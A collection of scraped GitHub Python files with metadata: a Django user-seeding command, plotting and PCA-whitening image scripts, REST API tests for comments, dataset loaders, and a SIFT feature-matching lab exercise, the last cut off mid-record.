{"seq_id": "32237669650", "text": "import json\nimport os\n\nfrom django.core.management.base import BaseCommand\n\nfrom usersapp.models import User\n\nJSON_PATH = ''\nJSON_NAME = 'dump_db'\n\n\ndef load_from_json(file_name):\n    with open(os.path.join(JSON_PATH, file_name + '.json'), mode='r', encoding='utf8') as infile:\n        return json.load(infile)\n\n\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n        admin_absent = True\n        users_num = 0\n        users = load_from_json(JSON_NAME)\n\n        User.objects.all().delete()\n        for user in users:\n            # new_user = User(**user['fields'])\n            new_user = User.objects.create_user(id=user['pk'],\n                                                username=user['fields']['username'],\n                                                first_name=user['fields']['first_name'],\n                                                last_name=user['fields']['last_name'],\n                                                email=user['fields']['email'],\n                                                password='123',  # user['fields']['password'],\n                                                is_superuser=user['fields']['is_superuser'],\n                                                is_staff=user['fields']['is_staff'],\n                                                is_active=user['fields']['is_active'],\n                                                last_login=user['fields']['last_login'],\n                                                date_joined=user['fields']['date_joined'],\n                                                )\n            new_user.groups.set(user['fields']['groups'])\n            new_user.user_permissions.set(user['fields']['user_permissions'])\n            if new_user.is_superuser: admin_absent = False\n            new_user.save()\n            users_num += 1\n        print(f\"Loaded users: {users_num}\")\n\n        # Admin.objects.all().delete()\n        if admin_absent:\n            super_user = User.objects.create_superuser('admin', 'x@x.x', '123')\n            super_user.save()\n            print(\"Super user created.\")\n", "repo_name": "Wrexan/gb_server_rest", "sub_path": "usersapp/management/commands/fill_db.py", "file_name": "fill_db.py", "file_ext": "py", "file_size_in_byte": 2088, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 14, "usage_type": "call"}, {"api_name": "django.core.management.base.BaseCommand", "line_number": 17, "usage_type": "name"}, {"api_name": "usersapp.models.User.objects.all", "line_number": 23, "usage_type": "call"}, {"api_name": "usersapp.models.User.objects", "line_number": 23, "usage_type": "attribute"}, {"api_name": "usersapp.models.User", "line_number": 23, "usage_type": "name"}, {"api_name": "usersapp.models.User.objects.create_user", "line_number": 26, "usage_type": "call"}, {"api_name": "usersapp.models.User.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "usersapp.models.User", "line_number": 26, "usage_type": "name"}, {"api_name": "usersapp.models.User.objects.create_superuser", "line_number": 47, "usage_type": "call"}, {"api_name": "usersapp.models.User.objects", "line_number": 47, "usage_type": "attribute"}, {"api_name": "usersapp.models.User", "line_number": 47, "usage_type": "name"}]}
{"seq_id": "9099161205", "text": "import matplotlib.pyplot as plt\nimport seaborn as sns\nimport numpy as np\nfrom numpy.linalg import norm\nimport config as c\n\n\ndef plot_dynamics(log, width):\n    # Load variables\n    target_pos = log['target_pos']\n    est_target_pos = log['est_target_pos']\n\n    hand_pos = log['hand_pos']\n    est_hand_pos = log['est_hand_pos']\n\n    e_hand = norm(target_pos - hand_pos, axis=2)\n    e_belief = norm(hand_pos - est_hand_pos, axis=2)\n    e_target = norm(target_pos - est_target_pos, axis=2)\n\n    # Create plot\n    fig, axs = plt.subplots(1, 2, num='dynamics', figsize=(30, 10))\n\n    for w, error, color, title, lims in zip(range(2), [e_hand, e_belief],\n        ['Blues_d', 'Greens_d'], ['Hand', 'Hand belief'], [(0, 50), (0, 10)]):\n    # for w, error, color, title, lims in zip(range(2), [e_hand, e_target],\n    #     ['Blues_d', 'Reds_d'], ['Hand', 'Target'], [(0, 50), (0, 50)]):\n        # Compute error\n        if c.task == 'all':\n            error = error[np.arange(0, len(error), 2)]\n\n        lines = {'ep': [], 'x': [], 'y': []}\n        for e, line in enumerate(error):\n            for i, val in enumerate(line):\n                lines['ep'].append(e)\n                lines['x'].append(i)\n                lines['y'].append(val)\n\n        # Plot error\n        if c.task == 'single':\n            cl = 'Blue' if color == 'Blues_d' else 'Red' \\\n                if color == 'Reds_d' else 'Green'\n            axs[w].plot(np.full(c.n_steps, c.reach_dist), '--')\n            sns.lineplot(x='x', y='y', ax=axs[w], data=lines, color=cl,\n                         linewidth=width, legend=False, ci='sd')\n        else:\n            axs[w].plot(np.full(c.n_steps, c.reach_dist), '--')\n            sns.lineplot(x='x', y='y', ax=axs[w], data=lines, palette=color,\n                         linewidth=width, hue='ep', legend=False)\n\n        axs[w].set_title(title)\n        axs[w].set_ylim(*lims)\n        axs[w].set_xlabel('t')\n        if w == 0:\n            axs[w].set_ylabel('L2 Norm (px)')\n        else:\n            axs[w].set_ylabel(None)\n\n    fig.savefig('plots/dynamics', bbox_inches='tight')\n", "repo_name": "priorelli/PACE", "sub_path": "plots/dynamics.py", "file_name": "dynamics.py", "file_ext": "py", "file_size_in_byte": 2077, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.linalg.norm", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 17, "usage_type": "call"}, {"api_name": "numpy.linalg.norm", "line_number": 18, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 21, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 21, "usage_type": "name"}, {"api_name": "config.task", "line_number": 28, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 29, "usage_type": "call"}, {"api_name": "config.task", "line_number": 39, "usage_type": "attribute"}, {"api_name": "numpy.full", "line_number": 42, "usage_type": "call"}, {"api_name": "config.n_steps", "line_number": 42, "usage_type": "attribute"}, {"api_name": "config.reach_dist", "line_number": 42, "usage_type": "attribute"}, {"api_name": "seaborn.lineplot", "line_number": 43, "usage_type": "call"}, {"api_name": "numpy.full", "line_number": 46, "usage_type": "call"}, {"api_name": "config.n_steps", "line_number": 46, "usage_type": "attribute"}, {"api_name": "config.reach_dist", "line_number": 46, "usage_type": "attribute"}, {"api_name": "seaborn.lineplot", "line_number": 47, "usage_type": "call"}]}
{"seq_id": "24907223371", "text": "import cv2\nfrom PIL import Image\nimport numpy as np\nfrom sklearn import preprocessing\nimport matplotlib.pyplot as plt\n\n\nclass PCAWhitening:\n    def __init__(self, epsilon=1E-6):\n        self.epsilon = epsilon\n        # self.mean = None\n        self.eigenvalue = None\n        self.eigenvector = None\n        self.pca = None\n\n    def fit(self, x):\n        print(\"Fit IN\")\n        print(\"Fit self : \" + str(self))\n        print(\"Fit x : \" + str(x))\n        \"\"\"\"\n        self.mean = np.mean(x, axis=0) #列に沿って平均化\n        # CIFA-10の場合は画像を複数取り込む\n        各列の平均を元から引く\n        print(\"Fit self.mean \" + str(self.mean))\n        x_ = x - self.mean  # 平均値で引く\n        \"\"\"\n        x_=x\n        print(\"Fit OVR 2\" + \"shape:¥n\" +str(x_.shape) + str(x_))\n\n        cov = np.dot(x_.T, x_)/1024      # 転置と元の積\n        print(\"Fit OVR 3\" + \"shape:¥n\" +str(cov.shape) + str(cov))\n\n        E, D, _ = np.linalg.svd(cov) # 特異値分解\n        print(\"Fit OVR 4 E: \" + str(E))\n        print(\",D : \"  + str(D))\n\n        D = np.sqrt(D) + self.epsilon\n        self.eigenvalue = D\n        self.eigenvector = E\n        print(\"Fit OVR 5\")\n\n        self.pca = np.dot(np.diag(1. / D), E.T)\n        print(\"Fit END\")\n        return self\n\n    def transform(self, x):\n        # x_ = x - self.mean\n        x_=x\n        return np.dot(x_, self.pca.T)\n\ndef normalizeMinMax(x, axis=0, epsilon=1E-5):\n  vmin = np.min(x, axis)\n  vmax = np.max(x, axis)\n  return (x - vmin) / (vmax - vmin + epsilon)\n\ndef normalizeImage(x):\n  img = x.reshape(x.shape[0] * x.shape[1], x.shape[2])\n  img = normalizeMinMax(img, axis=0)\n  return img.reshape(x.shape)\n\ndef normalizeImage2(x, epsilon=1E-6):\n  vmin = np.min(x)\n  vmax = np.max(x)\n  return (x - vmin) / (vmax - vmin + epsilon)\n\nif __name__ == '__main__':\n\n    # 画像の読み込み\n    img = cv2.imread(\"cat9.png\", 1)  # ndarray形式?\n    # print(img)\n\n    # 基本表示\n    # cv2.imshow('frame',img )\n    print(\"shape 0 :\" + str(img.shape[0])) #たて\n    print(\"shape 1 :\" + str(img.shape[1])) #　横\n    print(\"shape 2 :\" + str(img.shape[2]))  # 3がでる　RGBってことか\n\n    # cv2.imshow(\"\",img[:, :, :])\n    # cv2.waitKey(0)\n\n    # 正規化\n    img_std = np.zeros(img.shape)\n    for i in range(0,img.shape[2]):\n        img_std[:, :, i] = preprocessing.scale(img[:, :, i])\n\n    # sklearnのscaleで各RGBを正規化\n\n    # PCAW\n    # img_pcaw = img_std.reshape(1, -1)  # 1行の行列にする\n\n    r=(img[:,:,0].reshape(1,-1))\n    g=(img[:, :, 1].reshape(1, -1))\n    b=(img[:, :, 2].reshape(1, -1))\n    print(r)\n    print(g)\n    print(b)\n    rgb = np.append(r, g, axis=0)\n    rgb = np.append(rgb, b, axis=0)\n\n    img_pcaw = rgb\n\n    # print(img_pcaw)\n    pcaw = PCAWhitening().fit(img_pcaw)\n    print(\"PCAW 1st END\")\n    print(pcaw) # オブジェクトが帰ってくる\n    img_pcaw = pcaw.transform(img_pcaw).reshape(img.shape)\n    print(\"PCAW END\")\n\n    print(img_pcaw)\n    cv2.imshow(\"\", img_pcaw)\n    cv2.waitKey(0)\n    bg_diff_path  = './PCAW-non-normalize.png'\n\n    cv2.imwrite(bg_diff_path,img_pcaw)\n    img_pcaw = normalizeImage2(img_pcaw)\n    print(img_pcaw)\n\n    cv2.imshow(\"\", img_pcaw)\n    cv2.waitKey(0)\n    cv2.destroyAllWindows()\n    bg_diff_path  = './PCAW.png'\n    cv2.imwrite(bg_diff_path,img_pcaw)\n\n    # print(img_std[0,0])\n    # print(img_std[0,0,0])", "repo_name": "rikupo/ICA-imgproc", "sub_path": "PCA-Whitening-1.py", "file_name": "PCA-Whitening-1.py", "file_ext": "py", "file_size_in_byte": 3375, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "numpy.dot", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.linalg.svd", "line_number": 33, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 33, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 37, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.diag", "line_number": 42, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 49, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 52, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 53, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 62, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 63, "usage_type": "call"}, {"api_name": "cv2.imread", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 82, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.scale", "line_number": 84, "usage_type": "call"}, {"api_name": "sklearn.preprocessing", "line_number": 84, "usage_type": "name"}, {"api_name": "numpy.append", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.append", "line_number": 98, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 110, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 111, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 114, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 118, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 119, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 120, "usage_type": "call"}, {"api_name": "cv2.imwrite", "line_number": 122, "usage_type": "call"}]}
{"seq_id": "15963839377", "text": "from django.core.files.images import ImageFile\nfrom rest_framework.test import APIClient\nfrom django.urls import reverse\nfrom rest_framework import status\nfrom django.test import TestCase\n\nfrom authentication.models import AppUser\nfrom art.models import ArtTypeChoice, ArtPiece\nfrom core.models import Image\nfrom userprofile.models import UserProfile\n\n\nclass CommentTests(TestCase):\n    def setUp(self):\n        self.client = APIClient()\n\n        # create user\n        self.user = AppUser.objects.create_user(username='test_user', password='12345678')\n        self.user.is_active = True\n        self.user.save()\n        UserProfile.objects.create(user=self.user)\n        self.client.force_authenticate(self.user)\n\n        self.image = Image.objects.create(image=ImageFile(open(\"./test_images/test.png\", \"rb\")))\n\n        self.art_piece1 = ArtPiece.objects.create(cover_id=self.image.id, type=\"P\", owner_id=self.user.id)\n        self.art_piece2 = ArtPiece.objects.create(cover_id=self.image.id, type=\"V\", owner_id=self.user.id)\n\n        self.client.post(reverse(\"comment:add-comment\", args=(self.art_piece1.id,)), {\"content\": \"so nice\"}, format=\"json\")\n        self.client.post(reverse(\"comment:add-comment\", args=(self.art_piece1.id,)), {\"content\": \"greatest pic ive ever seen\"}, format=\"json\")\n        self.client.post(reverse(\"comment:add-comment\", args=(self.art_piece1.id,)), {\"content\": \"beautiful\"}, format=\"json\")\n\n    def test_add_comment_successfully(self):\n        url = reverse(\"comment:add-comment\", args=(self.art_piece1.id,))\n        data = {\"content\": \"nice\"}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.status_code, 200)\n\n    def test_add_comment_successfully_content(self):\n        url = reverse(\"comment:add-comment\", args=(self.art_piece1.id,))\n        data = {\"content\": \"nice\"}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.data['content'], \"nice\")\n\n    def test_add_comment_successfully_user(self):\n        url = reverse(\"comment:add-comment\", args=(self.art_piece1.id,))\n        data = {\"content\": \"nice\"}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.data['writer']['id'], self.user.id)\n\n    def test_add_comment_art_piece_not_found(self):\n        url = reverse(\"comment:add-comment\", args=(5,))\n        data = {\"content\": \"nice\"}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.status_code, 404)\n\n    def test_add_comment_art_piece_not_found_detail(self):\n        url = reverse(\"comment:add-comment\", args=(5,))\n        data = {\"content\": \"nice\"}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.data['detail'].title(), \"Not Found.\")\n\n    def test_add_comment_invalid_data(self):\n        url = reverse(\"comment:add-comment\", args=(self.art_piece1.id,))\n        data = {\"content\": None}\n        response = self.client.post(url, data, format=\"json\")\n        self.assertEqual(response.status_code, 406)\n\n    def test_all_comments(self):\n        url = reverse(\"comment:all-comments\", args=(self.art_piece1.id,))\n        response = self.client.get(url)\n        self.assertEqual(response.status_code, 200)\n\n    def test_all_comments_contents(self):\n        url = reverse(\"comment:all-comments\", args=(self.art_piece1.id,))\n        response = self.client.get(url)\n        self.assertEqual(response.data[0]['content'], \"so nice\")\n        self.assertEqual(response.data[1]['content'], \"greatest pic ive ever seen\")\n        self.assertEqual(response.data[2]['content'], \"beautiful\")\n\n    def test_all_comments_writer(self):\n        url = reverse(\"comment:all-comments\", args=(self.art_piece1.id,))\n        response = self.client.get(url)\n        self.assertEqual(response.data[0]['writer']['id'], self.user.id)\n", "repo_name": "AliBagherz/Negare_backend", "sub_path": "negare/comment/tests.py", "file_name": "tests.py", "file_ext": "py", "file_size_in_byte": 3872, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.test.TestCase", "line_number": 13, "usage_type": "name"}, {"api_name": "rest_framework.test.APIClient", "line_number": 15, "usage_type": "call"}, {"api_name": "authentication.models.AppUser.objects.create_user", "line_number": 18, "usage_type": "call"}, {"api_name": "authentication.models.AppUser.objects", "line_number": 18, "usage_type": "attribute"}, {"api_name": "authentication.models.AppUser", "line_number": 18, "usage_type": "name"}, {"api_name": "userprofile.models.UserProfile.objects.create", "line_number": 21, "usage_type": "call"}, {"api_name": "userprofile.models.UserProfile.objects", "line_number": 21, "usage_type": "attribute"}, {"api_name": "userprofile.models.UserProfile", "line_number": 21, "usage_type": "name"}, {"api_name": "core.models.Image.objects.create", "line_number": 24, "usage_type": "call"}, {"api_name": "core.models.Image.objects", "line_number": 24, "usage_type": "attribute"}, {"api_name": "core.models.Image", "line_number": 24, "usage_type": "name"}, {"api_name": "django.core.files.images.ImageFile", "line_number": 24, "usage_type": "call"}, {"api_name": "art.models.ArtPiece.objects.create", "line_number": 26, "usage_type": "call"}, {"api_name": "art.models.ArtPiece.objects", "line_number": 26, "usage_type": "attribute"}, {"api_name": "art.models.ArtPiece", "line_number": 26, "usage_type": "name"}, {"api_name": "art.models.ArtPiece.objects.create", "line_number": 27, "usage_type": "call"}, {"api_name": "art.models.ArtPiece.objects", "line_number": 27, "usage_type": "attribute"}, {"api_name": "art.models.ArtPiece", "line_number": 27, "usage_type": "name"}, {"api_name": "django.urls.reverse", "line_number": 29, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 30, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 31, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 34, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 40, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 46, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 52, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 58, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 64, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 70, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 75, "usage_type": "call"}, {"api_name": "django.urls.reverse", "line_number": 82, "usage_type": "call"}]}
{"seq_id": "37406687655", "text": "import torch\nimport torch.nn.functional as F\nimport ipdb\nfrom datasets.platonic_dset import PlatonicMerged\nfrom datasets.equiv_dset import *\nfrom datasets.custom_dset import CustomMerged\nfrom datasets.custom_dset import CustomMergedTrajectory\nimport ipdb\n\n\nclass CometDummy():\n    def __init__(self):\n        super()\n\n    def log_metric(self, *args, **kwargs):\n        pass\n\n    def log_parameters(self, *args, **kwargs):\n        pass\n\n    def log_figure(self, *args, **kwargs):\n        pass\n\n\n## Loss functions\n\ndef get_hinge_loss(z_encoded, z_next_encoded, action_dim, model, method, decoder):\n    # ipdb.set_trace()\n    \"\"\"\n    hinge loss:\n    in the case of MDP: push everything apart\n    in everything else: put classes close, push random stuff apart\n    \"\"\"\n\n    device = z_encoded.device\n    batch_size = z_encoded.shape[0]\n    if model == 'mdp' or model == 'mdp_resnet' or method == 'naive':\n        ce_loss = torch.Tensor([0]).to(device)\n        z = z_next_encoded\n    else:\n        ce_loss = F.mse_loss(z_encoded[:, action_dim:], z_next_encoded[:, action_dim:])\n        z = z_next_encoded[:, action_dim:]\n\n    z_random = z[torch.randperm(batch_size)]\n    distance = torch.norm(z - z_random, p=2, dim=-1)\n    hinge = torch.max(torch.zeros_like(distance).to(device), torch.ones_like(distance).to(device) - distance).mean()\n\n\n    if method == 'lie_right' or (method == 'lie' and decoder):\n        hinge = torch.Tensor([0]).to(device)\n\n    return hinge + ce_loss\n\n\ndef load_dataset(dataset, data_dir, model, method):\n    # data_dir = args_eval.data_dir\n    # method = args.data_dir\n\n    if dataset == 'color-shift':\n        ACTION_TYPE='translate'\n        dset = EquivDataset('data/colorshift_data/')\n        action_dim = 3\n        group_dim = 3\n        dset_10 = EquivDataset(f'{data_dir}/colorshift_data/', length_trajectory=10)\n        dset_20 = EquivDataset(f'{data_dir}/colorshift_data/', length_trajectory=20)\n    elif dataset == 'sprites':\n        ACTION_TYPE='translate'\n        dset = EquivDataset('data/sprites_data/', greyscale = True)\n        action_dim = 3\n        group_dim = 3\n        dset_10 = EquivDataset(f'{data_dir}/sprites_data/', greyscale=True, length_trajectory=10)\n        dset_20 = EquivDataset(f'{data_dir}/sprites_data/', greyscale=True, length_trajectory=20)\n    elif dataset == 'multi-sprites':\n        ACTION_TYPE='translate'\n        dset = EquivDataset('data/multisprites_data/')\n        action_dim = 6\n        group_dim = 6\n        dset_10 = EquivDataset(f'{data_dir}/multisprites_data/', length_trajectory=10)\n        dset_20 = EquivDataset(f'{data_dir}/multisprites_data/', length_trajectory=20)\n    elif dataset == 'platonics' or dataset in ['mugs', 'chairs'] or dataset in ['custom_chair'] or dataset in ['custom_shapenet']:\n        ACTION_TYPE='rotate'\n        dset = CustomMerged(data_dir=data_dir, dataset=dataset)\n        action_dim = 3\n        group_dim = 9\n        if method == 'naive':\n            action_dim = 3\n            group_dim = 3\n        dset_10 = CustomMergedTrajectory(data_dir=data_dir, dataset=dataset, trajectory_length=10)\n        dset_20 = CustomMergedTrajectory(data_dir=data_dir, dataset=dataset, trajectory_length=20)\n    elif dataset == 'room_combined':\n        ACTION_TYPE = 'isometries_2d'\n        dset = EquivDataset('./data/gibson_global_frame/')\n        action_dim = 3\n        group_dim = 4\n        dset_10 = EquivDataset(f'{data_dir}/gibson_global_frame/', length_trajectory=10)\n        dset_20 = EquivDataset(f'{data_dir}/gibson_global_frame/', length_trajectory=20)\n    elif dataset == 'room_combined_local':\n        ACTION_TYPE = 'isometries_2d_local'\n        dset = EquivDataset('./data/gibson_local_frame/')\n        action_dim = 3\n        group_dim = 4\n        dset_10 = EquivDataset(f'{data_dir}/gibson_local_frame/', length_trajectory=10)\n        dset_20 = EquivDataset(f'{data_dir}/gibson_local_frame/', length_trajectory=20)\n    else:\n        print(\"Invalid dataset\")\n        raise ValueError\n\n    if model == 'mdp' or model == 'mdp_resnet':\n        group_dim = 0\n\n    return dset, dset_10, dset_20, action_dim, group_dim, ACTION_TYPE", "repo_name": "equivariant-ml/equivariant-representation-learning", "sub_path": "utils/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 4119, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.Tensor", "line_number": 38, "usage_type": "call"}, {"api_name": "torch.nn.functional.mse_loss", "line_number": 41, "usage_type": "call"}, {"api_name": "torch.nn.functional", "line_number": 41, "usage_type": "name"}, {"api_name": "torch.randperm", "line_number": 44, "usage_type": "call"}, {"api_name": "torch.norm", "line_number": 45, "usage_type": "call"}, {"api_name": "torch.max", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.zeros_like", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.ones_like", "line_number": 46, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 50, "usage_type": "call"}, {"api_name": "datasets.custom_dset.CustomMerged", "line_number": 82, "usage_type": "call"}, {"api_name": "datasets.custom_dset.CustomMergedTrajectory", "line_number": 88, "usage_type": "call"}, {"api_name": "datasets.custom_dset.CustomMergedTrajectory", "line_number": 89, "usage_type": "call"}]}
{"seq_id": "33953246829", "text": "# Task1 Hint: (with sample code for the SIFT detector)\n# Initialize SIFT detector, detect keypoints, store and show SIFT keypoints of original image in a Numpy array\n# Define parameters for SIFT initializations such that we find only 10% of keypoints\nimport sys\nimport numpy as np\nimport math\nfrom cv2 import cv2\nimport matplotlib.pyplot as plt\nimport imutils\n\n\nclass SiftDetector():\n    def __init__(self, norm=\"L2\", params=None):\n        self.detector = self.get_detector(params)\n        self.norm = norm\n\n    def get_detector(self, params):\n        if params is None:\n            params = {}\n            params[\"n_features\"] = 0\n            params[\"n_octave_layers\"] = 3\n            params[\"contrast_threshold\"] = 0.03\n            params[\"edge_threshold\"] = 10\n            params[\"sigma\"] = 1.6\n\n        detector = cv2.xfeatures2d.SIFT_create(\n            nfeatures=params[\"n_features\"],\n            nOctaveLayers=params[\"n_octave_layers\"],\n            contrastThreshold=params[\"contrast_threshold\"],\n            edgeThreshold=params[\"edge_threshold\"],\n            sigma=params[\"sigma\"])\n\n        return detector\n\n\n# Task2 Hint:\n# Upscale the image, compute SIFT features for rescaled image\n# Apply BFMatcher with defined params and ratio test to obtain good matches, and then select and draw best 5 matches\n# Task3 Hint: (with sampe code for the rotation)\n# Rotate the image and compute SIFT features for rotated image\n# Apply BFMatcher with defined params and ratio test to obtain good matches, and then select and draw best 5 matches\n\n# image: image to rotate\n# x:     x-coordinate of point we wish to rotate around\n# y:     y-coordinate of point we wish to rotate around\n# angle: degrees to rotate image by\n#\n# Returns a rotated copy of the original image\n\ndef rotate(image, x, y, angle):\n    rot_matrix = cv2.getRotationMatrix2D((x, y), angle, 1.0)\n    h, w = image.shape[:2]\n\n    return cv2.warpAffine(image, rot_matrix, (w, h))\n\n# Get coordinates of center point.\n#\n# image:  Image that will be rotated\n# return: (x, y) coordinates of point at center of image\n\n\ndef get_img_center(image):\n    height, width = image.shape[:2]\n    center = height // 2, width // 2\n\n    return center\n\n# reference doc - Introduction to SIFT: https://docs.opencv.org/3.4/da/df5/tutorial_py_sift_intro.html\n# Feature matching:  https://docs.opencv.org/3.4/dc/dc3/tutorial_py_matcher.html\ndef q1(image):\n    sd = SiftDetector()\n    # a) Extract SIFT features with default parameters and show the keypoints on the image\n    keyPoints = sd.detector.detect(image, None)\n\n    #print(len(keyPoints))\n    # b) To achieve better visualization of the keypoints, reduce the number of keypoints.\n    #Hint:vary nfeatures so that the number of keypoints becomes about 10 % of all default keypoints i.e 10% of 6233 = 623\n    params = {}\n    params[\"n_features\"] = 623\n    params[\"n_octave_layers\"] = 3\n    #params[\"contrast_threshold\"] = 0.03\n    params[\"contrast_threshold\"] = 0.1\n    params[\"edge_threshold\"] = 10\n    #Orientation Assignment\n    #params[\"sigma\"] = 1.5\n    params[\"sigma\"] = 1.6\n    sift = SiftDetector(params=params)\n    keyPoints1 = sift.detector.detect(image, None)\n    \n    img = cv2.drawKeypoints(image, keyPoints, image)\n    img2 = cv2.drawKeypoints(image, keyPoints1, image)\n    \n    cv2.imwrite('a.jpg', img)\n    cv2.imwrite('b.jpg', img2)\n    return sift\n\n\ndef q2(image, sift):\n    # a)Enlarge the given image by a scale percentage of 115.\n    scale = 115\n    scale = scale/100\n\n    width = int(image.shape[1] * scale)\n    height = int(image.shape[0] * scale)\n    new_dim = (width, height)\n    resized = cv2.resize(image, new_dim)\n    \n\n    # b) Extract the SIFT features and show the keypoints on the scaled image using the same\n    # parameter setting as for Task 1 (for the reduced number of keypoints).\n    ## find the keypoints and descriptors using sift detector\n    keyPoints1, des1 = sift.detector.detectAndCompute(image, None)\n    # Since I have  already found keypoints, call sift.compute() which computes the descriptors \n    # from the keypoints that has been already found\n    keyPoints2, des2 = sift.detector.detectAndCompute(resized, None)\n    img2 = cv2.drawKeypoints(image, keyPoints1, image)\n    # Hint: Brute-force matching is available in OpenCV for feature matching.\n    bf_matcher = cv2.BFMatcher()\n    #use Matcher.match() method to get the best matches in two images\n    matches = bf_matcher.match(des1, des2)\n    #matches = bf_matcher.knnMatch(des1, des2, k=2)\n    # c)the keypoints in both images similar which shows that they share the same common features.\n\n    # d) Match the SIFT descriptors of the keypoints of the scaled image with those of the original image \n    # using the nearest-neighbour distance ratio method\n    # We sort them in ascending order of their distances so that best matches (with low distance) come to front\n    matches = sorted(matches, key=lambda x: x.distance)\n\n    # Show the keypoints of the 5 best-matching descriptors on both the original and the scaled image.\n    img_q2=cv2.drawMatches(image, keyPoints1, resized, keyPoints2,\n                           matches[:6], None, flags=cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS)\n    plt.imshow(img_q2), plt.show()\n    cv2.imwrite('d2.jpg', img_q2)\n    cv2.imwrite('b2.jpg', img2)\n    \n    \n\n\n\n\ndef q3(image, sift1):\n    center = get_img_center(image)\n    # a) Rotate the given image clockwise by 60 degrees.\n    rot = imutils.rotate_bound(image, 60)\n    #rot = rotate(image, center[0], center[1], 60)\n    plt.imshow(rot), plt.show()\n    # b) Extract the SIFT features and show the keypoints on the rotated image using the same\n    # parameter setting as for Task 1 (for the reduced number of keypoints).\n    keyPoints1, des1 = sift1.detector.detectAndCompute(image, None)\n    keyPoints2, des2 = sift1.detector.detectAndCompute(rot, None)\n\n    bf = cv2.BFMatcher()\n    # c)the keypoints in both images similar which shows that they share the same common features.\n\n    # d) Match the SIFT descriptors of the keypoints of the rotated image with those of the original\n    #image using the nearest-neighbour distance ratio method\n    matches = bf.match(des1, des2)\n    # We sort them in ascending order of their distances so that best matches (with low distance) come to front\n    matches = sorted(matches, key=lambda x: x.distance)\n\n    # Show the keypoints of the 5 best-matching descriptors on both the original and the scaled image.\n    img_q3 = cv2.drawMatches(\n        image, keyPoints1, rot, keyPoints2, matches[:7], None, flags=cv2.DrawMatchesFlags_NOT_DRAW_SINGLE_POINTS)\n    plt.imshow(img_q3), plt.show()\n    img3 = cv2.drawKeypoints(image, keyPoints1, image)\n    cv2.imwrite('b3.jpg', img3)\n    cv2.imwrite('d3.jpg', img_q3)\n    \n\n\n### the keypoints in both graph are pretty similar. it indicates that they share the same common features.\nif __name__ == \"__main__\":\n\n    img = cv2.imread('lab2.jpg')\n    image = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n    sift = q1(image)\n    q2(image,sift)\n    q3(image, sift)\n    \n", "repo_name": "Sanchitakr/COMP9517-Computer-vision-20T2", "sub_path": "COMP9517_20T2_Lab2/lab2.py", "file_name": "lab2.py", "file_ext": "py", "file_size_in_byte": 7031, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "cv2.cv2.xfeatures2d.SIFT_create", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.cv2.xfeatures2d", "line_number": 26, "usage_type": "attribute"}, {"api_name": "cv2.cv2", "line_number": 26, "usage_type": "name"}, {"api_name": "cv2.cv2.getRotationMatrix2D", "line_number": 51, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 51, "usage_type": "name"}, {"api_name": "cv2.cv2.warpAffine", "line_number": 54, "usage_type": "call"}, {"api_name": "cv2.cv2", "line_number": 54, "usage_type": 